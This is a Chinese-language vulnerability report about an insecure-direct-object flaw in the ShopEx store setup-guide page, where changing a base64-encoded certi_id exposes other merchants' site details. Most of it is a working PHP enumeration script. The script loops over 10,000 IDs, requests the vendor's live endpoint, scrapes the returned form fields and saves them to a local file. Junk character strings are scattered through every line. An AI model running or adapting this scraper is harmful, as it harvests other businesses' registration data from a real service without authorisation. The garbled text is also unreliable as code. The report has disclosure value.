ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
' n) i/ [9 o3 ]详细说明：
问题出现在shopex 网店使用向导页面



( w- a1 e4 N6 u) P0 V/ mhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
- Y" P2 S1 X8 `# E; h6 X1 H

8 O" u, v) A3 \% ?' k. j
& `& ?- Y% x- U  o. H. erefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}



8 i; W6 Q2 M& T, V' ?2 k  c2 c: I我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


- H" i8 s3 u3 G7 ~$ v  l3 l6 V
<?php
5 w+ `2 x( W6 ?+ y% l
                for ($i=1; $i < 10000; $i++) { //遍历
. o4 R/ f' Z3 D
6 `4 T8 W  w, d                        ShowshopExD($i);
/ p- }) k. k0 V' J1 f# N; L2 M/ ^
; ^1 O. `$ G- r2 C1 V5 U& q; _                }

9 P- }1 m& \: B% l* g: B9 Z$ Q                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
( y6 Z$ O- w, B& k
        $url = $url.'?refer='.$refer;
- }! p2 E' e0 H
        $ch = curl_init($url);
1 A* _1 K( E8 s! T" h
. B% m: ^" Q; \- o7 E7 F( b+ \+ J        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
! S3 ^( s( A/ b8 [7 w0 a4 n
/ {  a" Q# |* ]% {2 c        $result = curl_exec($ch);
/ S1 K% E! O( n. U  C0 x: m& n
0 N: L) h$ \/ @" \        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

7 s$ \) K/ e0 {/ K        if(strpos($result,$refer))
! S8 W4 n4 H# A8 E+ B- z
        {
4 Z$ O- a8 V8 A6 q9 n5 x
8 A$ j3 O& n4 z5 r; [' V& ]7 m3 C                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

) p! ^4 O) l2 [' s                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
, f8 E6 m5 l6 X, B6 [8 g8 k5 L
                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
( p) B' u7 z: Z+ w% q
                        echo $res[1][0].':'.$res[3][0]."\r\n";
$ K9 ~% E! P6 T* P; ?( ^2 e
& k7 L; R9 N0 [9 g                        $col =$res[1][0].':'.$res[3][0]."\r\n";
' d/ F" h9 w1 V! E; Z
% O& J# H5 P2 E9 r2 @/ q5 _                        fwrite($fp, $col, strlen($col));
- X$ U( r# b; o1 v& _. Q) t* r
4 u8 Y" ]4 P/ p                }
( v/ e7 H: O. {1 G$ J1 A, I! Z: k
                echo '--------------------------------'."\r\n";
! [1 E4 C2 {5 J/ i, _+ K+ [- @! V
                fclose($fp);

. N3 M1 j- W: j* W6 ~; D        }
: k. k' J( h3 ~; m& u8 S5 q
& y! p# S3 U0 [  D% A        flush();
7 A- d0 n8 K" P: s$ d$ j5 ]
        curl_close($ch);

4 w- G. O  ~$ |0 Q3 ^/ {                }

?>
: q/ v3 E8 L1 E( Q漏洞证明：
9 |5 S! Y, `8 p7 P& f3 jhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
3 N; m9 K' A4 M7 ]$ rrefer换成其他加密方式